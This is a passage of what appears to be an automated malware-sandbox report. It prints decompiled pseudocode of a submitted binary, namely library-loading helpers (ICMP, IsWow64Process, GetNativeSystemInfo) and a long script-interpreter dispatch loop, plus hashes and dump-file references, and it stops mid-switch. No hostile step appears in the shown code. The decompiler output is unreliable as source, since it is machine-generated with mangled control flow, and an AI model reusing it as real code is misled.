                                                                                                                                                                            • Instruction Fuzzy Hash: 9FD017B04443129AD7106B64D80874A76E4AB68302F129C3FF881A2660C7BCA8808B39
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043442C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0043442C(struct HINSTANCE__** _a4) {
				struct HINSTANCE__* _t4;
				_Unknown_base(*)()* _t5;
				struct HINSTANCE__** _t6;

				_t6 = _a4;
				if(_t6[2] == 0) {
					_t4 = LoadLibraryA("ICMP.DLL");
					 *_t6 = _t4;
					if(_t4 != 0) {
						_t5 = GetProcAddress(_t4, "IcmpCreateFile");
						_t6[2] = _t5;
						return _t5;
					}
				}
				return _t4;
			}






                                                                                                                                                                            0x0043442d
                                                                                                                                                                            0x00434435
                                                                                                                                                                            0x0043443c
                                                                                                                                                                            0x00434442
                                                                                                                                                                            0x00434446
                                                                                                                                                                            0x0043444e
                                                                                                                                                                            0x00434454
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434454
                                                                                                                                                                            0x00434446
                                                                                                                                                                            0x00434458

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434494,?,?,00464A94,?), ref: 0043443C
                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0043444E
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: ICMP.DLL$IcmpCreateFile
                                                                                                                                                                            • API String ID: 2574300362-275556492
                                                                                                                                                                            • Opcode ID: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                                            • Instruction ID: c247b13c068300da1972229949477068df6ba5342f41feac8fae2a533bc96115
                                                                                                                                                                            • Opcode Fuzzy Hash: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                                                                                            • Instruction Fuzzy Hash: 97D017B04043029ADB105B60D90875A77E4AB68300F118C7FF9A1A2250C7BCA8808B29
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040EE70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0040EE70(struct HINSTANCE__** __esi) {
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;

				if(__esi[2] == 0) {
					_t3 = LoadLibraryA("kernel32.dll");
					 *__esi = _t3;
					if(_t3 != 0) {
						_t4 = GetProcAddress(_t3, "IsWow64Process");
						__esi[2] = _t4;
						return _t4;
					}
				}
				return _t3;
			}





                                                                                                                                                                            0x0040ee74
                                                                                                                                                                            0x0040ee7b
                                                                                                                                                                            0x0040ee81
                                                                                                                                                                            0x0040ee85
                                                                                                                                                                            0x0040ee8d
                                                                                                                                                                            0x0040ee93
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040ee93
                                                                                                                                                                            0x0040ee85
                                                                                                                                                                            0x0040ee96

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadLibraryA.KERNEL32(kernel32.dll,0040E551,?), ref: 0040EE7B
                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040EE8D
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                            • API String ID: 2574300362-3024904723
                                                                                                                                                                            • Opcode ID: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                                                                                                                            • Instruction ID: 75875fa2f3f8b89ed4c8cde0d061cde3839b728dd3838c322d7dfd2ddbff31fa
                                                                                                                                                                            • Opcode Fuzzy Hash: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                                                                                                                            • Instruction Fuzzy Hash: 51D0C9B0940707DAC7301F72C91871B7AE4AB40342F204C3EB995A1290DBBCC0408B28
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040EEE0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0040EEE0(struct HINSTANCE__** __esi) {
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;

				if(__esi[2] == 0) {
					_t3 = LoadLibraryA("kernel32.dll");
					 *__esi = _t3;
					if(_t3 != 0) {
						_t4 = GetProcAddress(_t3, "GetNativeSystemInfo");
						__esi[2] = _t4;
						return _t4;
					}
				}
				return _t3;
			}





                                                                                                                                                                            0x0040eee4
                                                                                                                                                                            0x0040eeeb
                                                                                                                                                                            0x0040eef1
                                                                                                                                                                            0x0040eef5
                                                                                                                                                                            0x0040eefd
                                                                                                                                                                            0x0040ef03
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040ef03
                                                                                                                                                                            0x0040eef5
                                                                                                                                                                            0x0040ef06

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadLibraryA.KERNEL32(kernel32.dll,0040E5BF,?), ref: 0040EEEB
                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0040EEFD
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: GetNativeSystemInfo$kernel32.dll
                                                                                                                                                                            • API String ID: 2574300362-192647395
                                                                                                                                                                            • Opcode ID: 58ac1dddc1eea1967b9e3df612208a50857473a21dbb81c427901d39c1ebcba1
                                                                                                                                                                            • Instruction ID: 788ba9bdae5bc0ddad915f4d08bdcf590d5e3b2ea1e3da194f5c7121584c3133
                                                                                                                                                                            • Opcode Fuzzy Hash: 58ac1dddc1eea1967b9e3df612208a50857473a21dbb81c427901d39c1ebcba1
                                                                                                                                                                            • Instruction Fuzzy Hash: ABD0C9B0944703AAC7311F72C91C70A7AE4AB40341F204C3EB996E1691DBBCC0508B2C
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040ACA0 Relevance: 6.4, APIs: 4, Instructions: 368COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 76%
                                                                                                                                                                            			E0040ACA0(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				void* _t354;
				void* _t355;
				void* _t356;
				signed int _t357;
				void** _t359;
				void* _t360;
				void* _t362;
				void* _t363;
				void* _t364;
				void* _t365;
				intOrPtr _t373;
				void _t374;
				void* _t375;
				void* _t376;
				void** _t382;
				void* _t383;
				void* _t385;
				void* _t398;
				void* _t399;
				void* _t402;
				void* _t404;
				void* _t405;
				void* _t406;
				void* _t407;
				signed int _t408;
				void* _t415;
				void* _t446;
				void* _t465;
				void* _t469;
				void* _t470;
				void* _t471;
				void _t472;
				short _t473;
				void* _t474;
				void* _t477;
				void* _t479;
				void** _t480;
				void* _t481;
				void** _t484;
				void* _t485;
				void** _t488;
				void _t491;
				void* _t502;
				void* _t505;
				void* _t514;
				void _t521;
				void _t525;
				void* _t526;
				void* _t528;
				void* _t537;
				void* _t539;
				void* _t541;
				void* _t558;

				L0:
				while(1) {
					L0:
					_t558 = __fp0;
					_t528 = __esi;
					_t526 = __edi;
					_t469 = __ebx;
					_t352 =  *(__esi + 0xc);
					if( *(__esi + 0xc) != 0) {
						E004436F6(__ebx, __edi, _t537, _t352);
						 *(__esi + 0xc) = 0;
					}
					_t354 =  *(_t528 + 8);
					__eflags = _t354 - 8;
					if(_t354 == 8) {
						goto L221;
					}
					L20:
					__eflags = _t354 - 0xa;
					if(_t354 == 0xa) {
						_t355 =  *_t528;
						__eflags = _t355;
						if(_t355 != 0) {
							E0044478F(_t469, _t526, _t537, _t355);
						}
					} else {
						__eflags = _t354 - 5;
						if(_t354 == 5) {
							E0040E380(_t528, _t469, _t528);
						} else {
							__eflags = _t354 - 0xb;
							if(__eflags == 0) {
								E004112EF(_t469,  *_t528, _t526, _t528, __eflags,  *((intOrPtr*)( *_t528 + 4)));
								E004112EF(_t469,  *_t528, _t526, _t528, __eflags,  *_t528);
								_t539 = _t539 + 8;
							} else {
								__eflags = _t354 - 0xc;
								if(_t354 == 0xc) {
									_t465 =  *_t528;
									__eflags = _t465;
									if(_t465 != 0) {
										E0044B3B8(_t469, _t516, _t526, _t537, _t465);
									}
								}
							}
						}
					}
					L24:
					 *(_t528 + 8) = 1;
					 *_t528 = 0;
					_t514 =  *0x4a9390; // 0x1
					 *(_t528 + 8) = _t514;
					_t356 =  *0x4a9390; // 0x1
					__eflags = _t356 - 1;
					if(_t356 != 1) {
						L229:
						_t357 = _t356 - 1;
						__eflags = _t357 - 0xb;
						if(__eflags > 0) {
							goto L26;
							do {
								L30:
								__eflags = _t362 - 0xa;
								if(_t362 == 0xa) {
									_t489 =  *_t488;
									__eflags =  *_t488;
									if(__eflags != 0) {
										E0044478F(_t471, _t526, _t537, _t489);
									}
								} else {
									__eflags = _t362 - 5;
									if(_t362 == 5) {
										E0040E380( *(_t539 + 0xc), _t471, _t528);
									} else {
										__eflags = _t362 - 0xb;
										if(__eflags == 0) {
											_t516 =  *( *( *(_t539 + 0xc)) + 4);
											E004112EF(_t471,  *( *( *(_t539 + 0xc)) + 4), _t526, _t528, __eflags,  *( *( *(_t539 + 0xc)) + 4));
											E004112EF(_t471,  *( *( *(_t539 + 0xc)) + 4), _t526, _t528, __eflags,  *( *(_t539 + 0x10)));
											_t539 = _t539 + 8;
										} else {
											__eflags = _t362 - 0xc;
											if(__eflags == 0) {
												_t511 =  *_t488;
												__eflags =  *_t488;
												if(__eflags != 0) {
													E0044B3B8(_t471, _t516, _t526, _t537, _t511);
												}
											}
										}
									}
								}
								L34:
								_t363 =  *(_t539 + 0xc);
								_push(0x10);
								 *_t363 = 0;
								 *(_t363 + 8) = 4;
								_t364 = E0041171A(_t471, _t526, __eflags);
								_t539 = _t539 + 4;
								__eflags = _t364;
								if(_t364 == 0) {
									_t364 = 0;
								} else {
									 *_t364 =  *_t471;
									 *((intOrPtr*)(_t364 + 4)) =  *((intOrPtr*)(_t471 + 4));
									_t516 =  *(_t471 + 8);
									 *(_t364 + 8) =  *(_t471 + 8);
									_t484 =  *(_t471 + 0xc);
									 *(_t364 + 0xc) = _t484;
									 *_t484 =  *_t484 + 1;
									__eflags =  *_t484;
								}
								 *( *(_t539 + 0xc) + 0xc) = _t364;
								_t365 =  *(_t539 + 0x24);
								 *_t526 = 1 +  *_t526;
								__eflags =  *((char*)(_t365 + 0xfd));
								if( *((char*)(_t365 + 0xfd)) != 0) {
									_push(E0040D260(_t539 + 0x14));
									E00457F49(_t516, __eflags, _t558);
									_t365 =  *(_t539 + 0x24);
								}
								__eflags =  *((char*)(_t365 + 0xfe));
								if(__eflags != 0) {
									_t303 = _t539 + 0x14; // 0x106b0011
									_t446 = E0040D260(_t303);
									_t516 =  *(_t539 + 0x24);
									_push(_t446);
									_push( *(_t539 + 0x24));
									L0047151F( *(_t539 + 0x24), __eflags, _t558);
								}
								while(1) {
									L1:
									_t491 =  *_t526;
									if(_t491 ==  *((intOrPtr*)(_t537 + 0x14))) {
										goto L6;
									}
									L2:
									_t373 =  *((intOrPtr*)( *((intOrPtr*)(_t537 + 8)) + 4));
									_t516 = _t373 + _t491 * 4;
									_t374 =  *(_t373 + _t491 * 4);
									if( *((short*)(_t374 + 8)) == 0x7f) {
										goto L6;
									}
									L3:
									_t473 =  *((short*)(_t374 + 8));
									if(_t473 == 0x36) {
										L17:
										_t469 =  *(_t539 + 0x18);
										 *(_t539 + 0x28) = 0x16;
										__eflags = _t469;
										if(_t469 != 0) {
											__eflags =  *((char*)(_t539 + 0x21));
											if(__eflags == 0) {
												_push(0x18);
												_t375 = E0041171A(_t469, _t526, __eflags);
												_t539 = _t539 + 4;
												__eflags = _t375;
												if(_t375 == 0) {
													_t376 = 0;
												} else {
													 *(_t539 + 0xc) = _t375;
													_t474 =  *(_t539 + 0xc);
													E0040BD50(0x4a9388, _t474, _t491, _t526);
													_t376 = _t474;
													_t469 =  *(_t539 + 0x18);
												}
												 *(_t376 + 0x10) =  *(_t539 + 0x1c);
												 *(_t539 + 0x1c) = _t376;
											} else {
												E00409210( *(_t539 + 0x1c), _t491, _t537, 0x4a9388);
												_t469 =  *(_t539 + 0x18);
												 *((char*)(_t539 + 0x21)) = 0;
											}
											L26:
											_t359 =  *( *((intOrPtr*)( *((intOrPtr*)(_t537 + 8)) + 4)) +  *_t526 * 4);
											_t470 = _t469 + 1;
											 *(_t539 + 0x18) = _t470;
											__eflags = _t470 - 1;
											if(_t470 != 1) {
												__eflags =  *((char*)(_t539 + 0x21));
												_t516 =  *(_t539 + 0x1c);
												if( *((char*)(_t539 + 0x21)) != 0) {
													 *(_t539 + 0xc) =  *(_t516 + 0x10);
												} else {
													 *(_t539 + 0xc) = _t516;
												}
											} else {
												 *(_t539 + 0xc) = _t528;
											}
											_t488 =  *(_t539 + 0xc);
											_t471 =  *_t359;
											_t360 = _t488[3];
											__eflags = _t360;
											if(_t360 != 0) {
												E004436F6(_t471, _t526, _t537, _t360);
												_t488 =  *(_t539 + 0xc);
												_t488[3] = 0;
											}
											_t362 = _t488[2];
											__eflags = _t362 - 8;
											if(_t362 == 8) {
												break;
											} else {
												goto L30;
											}
										}
										goto L18;
									}
									L4:
									if(_t473 < 0x37 || _t473 >= 0x41) {
										L39:
										__eflags = _t473 - 5;
										if(_t473 != 5) {
											L70:
											__eflags = _t473 - 0x51;
											if(__eflags > 0) {
												goto L6;
											}
											L71:
											_t68 = _t473 + 0x40b32c; // 0xec8e
											switch( *((intOrPtr*)(( *_t68 & 0x000000ff) * 4 +  &M0040B2CC))) {
												case 0:
													L123:
													__eax =  *__eax;
													__eflags = __eax - 4;
													if(__eax < 4) {
														L125:
														__eflags = __eax - 1;
														if(__eflags != 0) {
															L158:
															__eax = __eax - 2;
															__eflags = __eax - 0x27;
															if(__eflags > 0) {
																goto L6;
															}
															L159:
															__eax =  *(__eax + 0x42f3d9) & 0x000000ff;
															switch( *((intOrPtr*)(__eax * 4 +  &M0042F3C1))) {
																case 0:
																	L160:
																	__ecx = 1 + __ecx;
																	__ebx = 8;
																	 *__edi = __ecx;
																	goto L7;
																case 1:
																	L161:
																	__ecx = 1 + __ecx;
																	__ebx = 0xa;
																	 *__edi = __ecx;
																	goto L7;
																case 2:
																	L163:
																	__edi = 0x4a9388;
																	__esi = __esp + 0x14;
																	 *(__esp + 0x28) = 0x16;
																	__eax = E0040C000(0x4a9388, __esp + 0x14);
																	 *(__esp + 0x4c) = 1;
																	__edx =  *(__esp + 0x4c);
																	_push(__edx);
																	goto L164;
																case 3:
																	L162:
																	__edi = 0x4a9388;
																	__esi = __esp + 0x14;
																	 *(__esp + 0x28) = 0x16;
																	__eax = E0040C000(0x4a9388, __esp + 0x14);
																	 *(__esp + 0x44) = 0;
																	__ecx =  *(__esp + 0x44);
																	_push(__ecx);
																	L164:
																	__eax = __esp + 0x18;
																	_push(E0040D260(__esp + 0x18));
																	__eax = E00452D91();
																	__edi =  *(__ebp + 0xc);
																	 *__edi = 1 +  *__edi;
																	__esi =  *(__esp + 0x14);
																	goto L1;
																case 4:
																	L165:
																	__esp = __esp - 0x10;
																	__edi = L"Default";
																	__esi = __esp;
																	 *(__esp + 0x38) = 0x16;
																	E00401B70(__ebx, L"Default", __esp, __eflags) = __esp + 0x88;
																	_push(__esp + 0x88);
																	__eax = E0044B8D6();
																	__edi = 0x4a9388;
																	__esi = __esp + 0x14;
																	__eax = E0040C000(0x4a9388, __esi);
																	__ecx = __esp + 0x78;
																	__esi = E0040D260(__esi);
																	__eax =  *(__ebp + 0xc);
																	 *( *(__ebp + 0xc)) = 1 +  *( *(__ebp + 0xc));
																	__ecx = __esp + 0x80;
																	__eax = E00402620(__ecx);
																	__esi =  *(__esp + 0x14);
																	__edi =  *(__ebp + 0xc);
																	goto L1;
																case 5:
																	goto L6;
															}
														}
														L126:
														__ecx = 1 + __ecx;
														__ebx = __eax + 6;
														 *__edi = __ecx;
														goto L7;
													}
													L124:
													__eflags = __eax - 0x27;
													if(__eflags < 0) {
														goto L6;
													}
													goto L125;
												case 1:
													L118:
													__edi = 0x4a9388;
													__esi = __esp + 0x14;
													 *(__esp + 0x28) = 0x16;
													__eax = E0040C000(0x4a9388, __esp + 0x14);
													__eflags =  *(__esp + 0x18) - 1;
													if( *(__esp + 0x18) != 1) {
														__eflags =  *((char*)(__esp + 0x21));
														if( *((char*)(__esp + 0x21)) == 0) {
															__eax =  *(__esp + 0x1c);
														} else {
															__ecx =  *(__esp + 0x1c);
															__eax =  *( *(__esp + 0x1c) + 0x10);
														}
													} else {
														__eax =  *(__esp + 0x14);
													}
													__edx =  *(__ebp + 8);
													__ebx =  *(__esp + 0x24);
													__eax =  *(__ebp + 0xc);
													__eax = E00409030( *(__ebp + 0xc), __ebx, __edx, __fp0,  *(__ebp + 0xc));
													__eflags = __eax;
													if(__eax != 0) {
														goto L281;
													} else {
														L121:
														__eflags =  *((intOrPtr*)(__ebx + 0xf8)) - 1;
														if(__eflags == 0) {
															goto L281;
														}
														L122:
														__esi =  *(__esp + 0x14);
														__edi =  *(__ebp + 0xc);
														goto L1;
													}
												case 2:
													L137:
													__edi = 0x4a9388;
													__esi = __esp + 0x14;
													 *(__esp + 0x28) = 0x16;
													__eax = E0040C000(0x4a9388, __esi);
													__edi =  *(__ebp + 0xc);
													__edx =  *(__ebp + 8);
													__ecx =  *__edi;
													__eax =  *( *(__ebp + 8) + 4);
													__eax =  *( *( *(__ebp + 8) + 4) +  *__edi * 4);
													__ecx =  *(__eax + 4);
													__ebx =  *__eax;
													__eax = __esi;
													 *(__esp + 0x74) = __ecx;
													__esi = E0040D260(__esi);
													__eax = E004092C0(__edi, __esi);
													__edx =  *(__esp + 0x74);
													 *(__esi + 8) = 2;
													 *__esi = __ebx;
													 *(__esi + 4) = __edx;
													 *__edi = 1 +  *__edi;
													__esi =  *(__esp + 0x14);
													goto L1;
												case 3:
													L138:
													__edi = 0x4a9388;
													__esi = __esp + 0x14;
													 *(__esp + 0x28) = 0x16;
													__eax = E0040C000(0x4a9388, __esi);
													__edi =  *(__ebp + 0xc);
													__ecx =  *(__ebp + 8);
													__eax =  *__edi;
													__edx =  *( *(__ebp + 8) + 4);
													__eax =  *( *( *(__ebp + 8) + 4) +  *__edi * 4);
													__fp0 =  *( *( *( *(__ebp + 8) + 4) +  *__edi * 4));
													__eax = __esi;
													 *(__esp + 0xc) =  *( *( *( *(__ebp + 8) + 4) +  *__edi * 4));
													__esi = E0040D260(__esi);
													__eax = E004092C0(__edi, __esi);
													__fp0 =  *(__esp + 0xc);
													 *__esi = __fp0;
													 *(__esi + 8) = 3;
													 *__edi = 1 +  *__edi;
													__esi =  *(__esp + 0x14);
													goto L1;
												case 4:
													L151:
													__edi = 0x4a9388;
													__esi = __esp + 0x14;
													__eax = E0040C000(0x4a9388, __esp + 0x14);
													__esi =  *(__ebp + 0xc);
													__eax =  *__esi;
													__edi =  *(__ebp + 8);
													_t180 = __eax + 1; // 0x1
													__ecx = _t180;
													 *__esi = _t180;
													__edx =  *(__edi + 4);
													__eax =  *( *(__edi + 4) +  *__esi * 4);
													__eax =  *( *( *(__edi + 4) +  *__esi * 4));
													__edx =  *__eax;
													__esp = __esp - 0x10;
													 *__esp =  *__eax;
													__edx =  *(__eax + 4);
													 *(__esp + 4) =  *(__eax + 4);
													__edx =  *(__eax + 8);
													 *(__esp + 8) =  *(__eax + 8);
													__eax =  *(__eax + 0xc);
													 *(__esp + 0xc) = __eax;
													 *__eax = 1 +  *__eax;
													__eax = __esp + 0x24;
													__eax = E0040D260(__esp + 0x24);
													__ebx =  *(__esp + 0x34);
													_push(__eax);
													_push(__ebx);
													__eax = L004705BB(__eflags, __fp0);
													__eflags = __eax;
													if(__eflags != 0) {
														L280:
														__eax =  *__esi;
														__ecx =  *(__edi + 4);
														__edx =  *( *(__edi + 4) +  *__esi * 4 - 4);
														 *((short*)( *( *(__edi + 4) +  *__esi * 4 - 4) + 0xa)) = E0045E62E(__fp0, __ebx, 0x86,  *((short*)( *( *(__edi + 4) +  *__esi * 4 - 4) + 0xa)));
														L281:
														__ecx = __esp + 0x14;
														_push(__esp + 0x14);
														goto L292;
													}
													L152:
													__esi =  *(__esp + 0x14);
													__edi =  *(__ebp + 0xc);
													 *(__esp + 0x28) = 0x16;
													goto L1;
												case 5:
													L109:
													__edi = 0x4a9388;
													__esi = __esp + 0x14;
													 *(__esp + 0x28) = 0x16;
													__eax = E0040C000(0x4a9388, __esp + 0x14);
													__eflags =  *(__esp + 0x18) - 1;
													if(__eflags != 0) {
														__eflags =  *((char*)(__esp + 0x21));
														if(__eflags != 0) {
															__ecx =  *(__esp + 0x1c);
															__eax =  *( *(__esp + 0x1c) + 0x10);
														} else {
															__eax =  *(__esp + 0x1c);
														}
													} else {
														__eax =  *(__esp + 0x14);
													}
													__edx =  *(__ebp + 8);
													_push(__eax);
													__eax =  *(__esp + 0x28);
													_push( *(__ebp + 8));
													_push(__eax);
													__eax =  *(__ebp + 0xc);
													__eax = E0040C300( *(__ebp + 0xc), __eflags, __fp0);
													__eflags = __eax;
													if(__eflags != 0) {
														L279:
														__eax = __esp + 0x14;
														_push(__esp + 0x14);
														goto L292;
													} else {
														L112:
														__esi =  *(__esp + 0x14);
														__edi =  *(__ebp + 0xc);
														goto L1;
													}
												case 6:
													L143:
													__edi = 0x4a9388;
													__esi = __esp + 0x14;
													__eax = E0040C000(0x4a9388, __esi);
													__edx = __esp + 0x3f;
													__esi = E0040D260(__esi);
													__esi =  *(__esp + 0x28);
													__eax =  *(__ebp + 8);
													__eax =  *(__ebp + 0xc);
													__eax = E00409A40( *(__ebp + 0xc), __eflags, __fp0, __esi,  *(__ebp + 8),  *(__ebp + 0xc), __esp + 0x3f);
													__eflags = __eax;
													if(__eax != 0) {
														goto L291;
													}
													L144:
													__eflags =  *((intOrPtr*)(__esi + 0xf8)) - 1;
													if(__eflags == 0) {
														goto L291;
													}
													L145:
													__esi =  *(__esp + 0x14);
													__edi =  *(__ebp + 0xc);
													 *(__esp + 0x28) = 0x16;
													goto L1;
												case 7:
													L166:
													__eflags = __ecx;
													if(__ecx <= 0) {
														L171:
														__esi =  *(__esp + 0x24);
														__edx = __esi + 0x488;
														__eax = E0043550E(__edx);
														__eflags = __al;
														if(__al == 0) {
															L283:
															__eax =  *(__ebp + 8);
															__ecx =  *( *(__ebp + 8) + 4);
															 *__edi =  *( *( *(__ebp + 8) + 4) +  *__edi * 4);
															 *((short*)( *( *( *(__ebp + 8) + 4) +  *__edi * 4) + 0xa)) = E0045E62E(__fp0, __esi, 0xa7,  *((short*)( *( *( *(__ebp + 8) + 4) +  *__edi * 4) + 0xa)));
															__ecx = __esp + 0x14;
															_push(__esp + 0x14);
															goto L292;
														}
														L172:
														__eax = 0;
														__esp = __esp - 0x10;
														 *(__esp + 0x60) = 0;
														 *((intOrPtr*)(__esp + 0x6c)) = 0;
														__eax = __edx;
														__ebx = __esp;
														 *(__esp + 0x68) = 1;
														__eax = E0040BD50(__edx, __ebx, __ecx, __edi);
														__ecx =  *(__ebp + 8);
														__eax = __esp + 0x60;
														_push(__esp + 0x60);
														_push(__edi);
														_push( *(__ebp + 8));
														__ecx = __esi;
														__eax = E0047D9CE(__esi, __eflags, __fp0);
														__eflags = __eax;
														if(__eax != 0) {
															L284:
															__eax =  *(__ebp + 8);
															__ecx =  *( *(__ebp + 8) + 4);
															 *__edi =  *( *( *(__ebp + 8) + 4) +  *__edi * 4);
															 *((short*)( *( *( *(__ebp + 8) + 4) +  *__edi * 4) + 0xa)) = E0045E62E(__fp0, __esi, 0x6e,  *((short*)( *( *( *(__ebp + 8) + 4) +  *__edi * 4) + 0xa)));
															__esi = __esp + 0x50;
															goto L290;
														}
														L173:
														__edi = __esp + 0x50;
														__esi = __esp + 0x14;
														 *(__esp + 0x28) = 0x16;
														__eax = E0040C000(__edi, __esp + 0x14);
														__esi = __edi;
														__eax = E004092C0(__edi, __edi);
														__esi =  *(__esp + 0x14);
														__edi =  *(__ebp + 0xc);
														goto L1;
													}
													L167:
													__eax =  *(__edx + 8) & 0x0000ffff;
													__eflags = __ax - 0x33;
													if(__ax == 0x33) {
														L169:
														__ebx =  *(__esp + 0x24);
														_push(1);
														_push(L"Variable must be of type \'Object\'.");
														_push(0);
														_push(0xa9);
														_push(__ebx);
														__eax = E004781AE(__fp0);
														__eflags = __eax;
														if(__eflags != 0) {
															L282:
															__eax =  *(__ebp + 8);
															__ecx =  *( *(__ebp + 8) + 4);
															 *__edi =  *( *( *(__ebp + 8) + 4) +  *__edi * 4);
															 *((short*)( *( *( *(__ebp + 8) + 4) +  *__edi * 4) + 0xa)) = E0045E62E(__fp0, __ebx, 0xa9,  *((short*)( *( *( *(__ebp + 8) + 4) +  *__edi * 4) + 0xa)));
															__ecx = __esp + 0x14;
															_push(__esp + 0x14);
															goto L292;
														}
														L170:
														 *__edi = 1 +  *__edi;
														goto L1;
													}
													L168:
													__eflags = __ax - 0x35;
													if(__ax != 0x35) {
														goto L171;
													}
													goto L169;
												case 8:
													L127:
													__ecx = 1 + __ecx;
													__ebx = 5;
													 *__edi = __ecx;
													goto L7;
												case 9:
													L136:
													__ecx = 1 + __ecx;
													__ebx = 1;
													 *__edi = __ecx;
													goto L7;
												case 0xa:
													L135:
													__ebx = 0;
													__ecx = 1 + __ecx;
													 *__edi = __ecx;
													goto L7;
												case 0xb:
													L153:
													__ecx = 1 + __ecx;
													__ebx = 4;
													 *__edi = __ecx;
													goto L7;
												case 0xc:
													L156:
